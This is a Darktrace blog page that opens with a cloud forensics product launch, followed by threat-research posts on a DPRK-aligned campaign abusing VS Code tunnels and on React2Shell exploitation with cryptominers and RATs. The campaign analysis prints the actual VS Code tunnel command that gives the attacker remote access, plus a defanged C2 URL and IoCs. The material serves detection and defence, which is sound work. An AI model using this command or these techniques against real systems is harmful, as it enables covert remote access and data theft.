September 25, 2025

Introducing the Industry’s First Truly Automated Cloud Forensics Solution

The launch of Darktrace / Forensic Acquisition & Investigation marks a breakthrough moment for cloud security, bringing automated forensic investigations — once reserved for the largest organizations and specialized DFIR teams — to security teams of every size.

Written by

Paul Bottomley

Director of Product Management | Darktrace

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Paul Bottomley

Director of Product Management | Darktrace

Sep 2025

Why Cloud Investigations Fail Today

Cloud investigations have become one of the hardest problems in modern cybersecurity. Traditional DFIR tools were built for static, on-prem environments, rather than dynamic and highly scalable cloud environments, containing ephemeral workloads that disappear in minutes. SOC analysts are flooded with cloud security alerts with one-third lacking actionable data to confirm or dismiss a threat[1], while DFIR teams waste 3-5 days requesting access and performing manual collection, or relying on external responders.

These delays leave organizations vulnerable. Research shows that nearly 90% of organizations suffer some level of damage before they can fully investigate and contain a cloud incident [2]. The result is a broken model: alerts are closed without a complete understanding of the threat due to a lack of visibility and control, investigations drag on, and attackers retain the upper hand.

For SOC teams, the challenge is scale and clarity. Analysts are inundated with alerts but lack the forensic depth to quickly distinguish real threats from noise. Manual triage wastes valuable time, creates alert fatigue, and often forces teams to escalate or dismiss incidents without confidence — leaving adversaries with room to maneuver.

For DFIR teams, the challenge is depth and speed. Traditional forensics tools were built for static, on-premises environments and cannot keep pace with ephemeral workloads that vanish in minutes. Investigators are left chasing snapshots, requesting access from cloud teams, or depending on external responders, leading to blind spots and delayed response.

That’s why we built Darktrace / Forensic Acquisition & Investigation, the first automated forensic solution designed specifically for the speed, scale, and complexities of the cloud. It addresses both sets of challenges by combining automated forensic evidence capture, attacker timeline reconstruction, and cross-cloud scale. The solution empowers SOC analysts with instant clarity and DFIR teams with forensic depth, all in minutes, not days. By leveraging the very nature of the cloud, Darktrace makes these advanced capabilities accessible to security teams of all sizes, regardless of expertise or resources.

Introducing Automated Forensics at the Speed and Scale of Cloud

Darktrace / Forensic Acquisition & Investigation transforms cloud investigations by capturing, processing, and analyzing forensic evidence of cloud workloads, instantly, even from time-restricted ephemeral resources. Triggered by a detection from any cloud security tool, the entire process is automated, providing accurate root cause analysis and deep insights into attacker behavior in minutes rather than days or weeks. SOC and DFIR teams no longer have to rely on manual processes, snapshots, or external responders, they can now leverage the scale and elasticity of the cloud to accelerate triage and investigations.

Seamless Integration with Existing Detection Tools

Darktrace / Forensic Acquisition & Investigation does not require customers to replace their detection stack. Instead, it integrates with cloud-native providers, XDR platforms, and SIEM/SOAR tools, automatically initiating forensic capture whenever an alert is raised. This means teams can continue leveraging their existing investments while gaining the forensic depth required to validate alerts, confirm root cause, and accelerate response.

Most importantly, the solution is natively integrated with Darktrace / CLOUD, turning real-time detections of novel attacker behaviors into full forensic investigations instantly. When Darktrace / CLOUD identifies suspicious activity such as lateral movement, privilege escalation, or abnormal usage of compute resources, Darktrace / Forensic Acquisition & Investigation automatically preserves the underlying forensic evidence before it disappears. This seamless workflow unites detection, response, and investigation in a way that eliminates gaps, accelerates triage, and gives teams confidence that every critical cloud alert can be investigated to completion.

Figure 1: Integration with Darktrace / CLOUD – this example is showing the ability to pivot into the forensic investigation associated with a compromised cloud asset

‍

Automated Evidence Collection Across Hybrid and Multi-Cloud

The solution provides automated forensic acquisition across AWS, Microsoft Azure, GCP, and on-prem environments. It supports both full volume capture, creating a bit-by-bit copy of an entire storage device for the most comprehensive preservation of evidence, and triage collection, which prioritizes speed by gathering only the most essential forensic artifacts such as process data, logs, network connections, and open file contents. This flexibility allows teams to strike the right balance between speed and depth depending on the investigation at hand.

Figure 2: Ability to acquire forensic data from Cloud, SaaS and on-prem environments

‍

Automated Investigations, Root Cause Analysis and Attacker Timelines

Once evidence is collected, Darktrace applies automation to reconstruct attacker activity into a unified timeline. This includes correlating commands, files, lateral movement, and network activity into a single investigative view enriched with custom threat intelligence such as IOCs. Detailed investigation reporting including an investigation summary, an overview of the attacker timeline, and key events. Analysts can pivot into detailed views such as the filesystem view, traversing directories or inspecting file content, or filter and search using faceted options to quickly narrow the scope of an investigation.

Figure 3: Automated Investigation view surfacing the most significant attacker activity, which is contextualized with Alarm information

‍

Forensics for Containers and Ephemeral Assets

Investigating containers and serverless workloads has historically been one of the hardest challenges for DFIR teams, as these assets often disappear before evidence can be preserved. Darktrace / Forensic Acquisition & Investigation captures forensic evidence across managed Kubernetes cloud services, even from distroless or no-shell containers, AWS ECS and other environments, ensuring that ephemeral activity is no longer a blind spot. For hybrid organizations, this extends to on-premises Kubernetes and OpenShift deployments, bringing consistency across environments.

Figure 4: Container investigations – this example is showing the ability to capture containers from managed Kubernetes cloud services

SaaS Log Collection for Modern Investigations

Beyond infrastructure-level data, the solution collects logs from SaaS providers such as Microsoft 365, Entra ID, and Google Workspace. This enables investigations into common attack types like business email compromise (BEC), account takeover (ATO), and insider threats — giving teams visibility into both infrastructure-level and SaaS-driven compromise from a single platform.

Figure 5: Ability to import logs from SaaS providers including Microsoft 365, Entra ID, and Google Workspace

‍

Proactive Vulnerability and Malware Discovery

Finally, the solution surfaces risk proactively with vulnerability and malware discovery for Linux-based cloud resources. Vulnerabilities are presented in a searchable table and correlated with the attacker timeline, enabling teams to quickly understand not just which packages are exposed, but whether they have been targeted or exploited in the context of an incident.

Figure 6: Vulnerability data with pivot points into the attacker timeline

Cloud-Native Scale and Performance

Darktrace / Forensic Acquisition & Investigation uses a cloud-native parallel processing architecture that spins up compute resources on demand, ensuring that investigations run at scale without bottlenecks. Detailed reporting and summaries are automatically generated, giving teams a clear record of the investigation process and supporting compliance, litigation readiness, and executive reporting needs.

Scalable and Flexible Deployment Options

Every organization has different requirements for speed, control, and integration. Darktrace / Forensic Acquisition & Investigation is designed to meet those needs with two flexible deployment models.

Self-Hosted Virtual Appliance delivers deep integration and control across hybrid environments, preserving forensic data for compliance and litigation while scaling to the largest enterprise investigations.
SaaS-Delivered Deployment provides fast time-to-value out of the box, enabling automated forensic response without requiring deep cloud expertise or heavy setup.

Both models are built to scale across regions and accounts, ensuring organizations of any size can achieve rapid value and adapt the solution to their unique operational and compliance needs. This flexibility makes advanced cloud forensics accessible to every security team — whether they are optimizing for speed, integration depth, or regulatory alignment

Delivering Advanced Cloud Forensics for Every Team

Until now, forensic investigations were slow, manual, and reserved for only the largest organizations with specialized DFIR expertise. Darktrace / Forensic Acquisition & Investigation changes that by leveraging the scale and elasticity of the cloud itself to automate the entire investigation process. From capturing full disk and memory at detection to reconstructing attacker timelines in minutes, the solution turns fragmented workflows into streamlined investigations available to every team.

Whether deployed as a SaaS-delivered service for fast time-to-value or as a self-hosted appliance for deep integration, Darktrace / Forensic Acquisition & Investigation provides the features that matter most: automated evidence capture, cross-cloud investigations, forensic depth for ephemeral assets, and root cause clarity without manual effort.

With Darktrace / Forensic Acquisition & Investigation, what once took days now takes minutes. Now, forensic investigations in the cloud are faster, more scalable, and finally accessible to every security team, no matter their size or expertise.

[related-resource]

Sources: [1], [2] Darktrace Report: Organizations Require a New Approach to Handle Investigations in the Cloud

Additional Resources

Darktrace Innovation Launch: Automated Cloud Forensics

Discover the industry's first truly automated cloud forensics solution in this live broadcast with experts from AWS and Forrester.

Written by

Paul Bottomley

Director of Product Management | Darktrace

Inside the SOC

Written by

Paul Bottomley

Director of Product Management | Darktrace

Senior Director of Product, Cloud | Darktrace

Watch the NIS2 Webinar

Blog

Network

January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote access

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1] https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

About the author

Blog

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.‍

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction. No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Introducing the Industry’s First Truly Automated Cloud Forensics Solution

Why Cloud Investigations Fail Today

Introducing Automated Forensics at the Speed and Scale of Cloud

Seamless Integration with Existing Detection Tools

Automated Evidence Collection Across Hybrid and Multi-Cloud

Automated Investigations, Root Cause Analysis and Attacker Timelines

Forensics for Containers and Ephemeral Assets

SaaS Log Collection for Modern Investigations

Proactive Vulnerability and Malware Discovery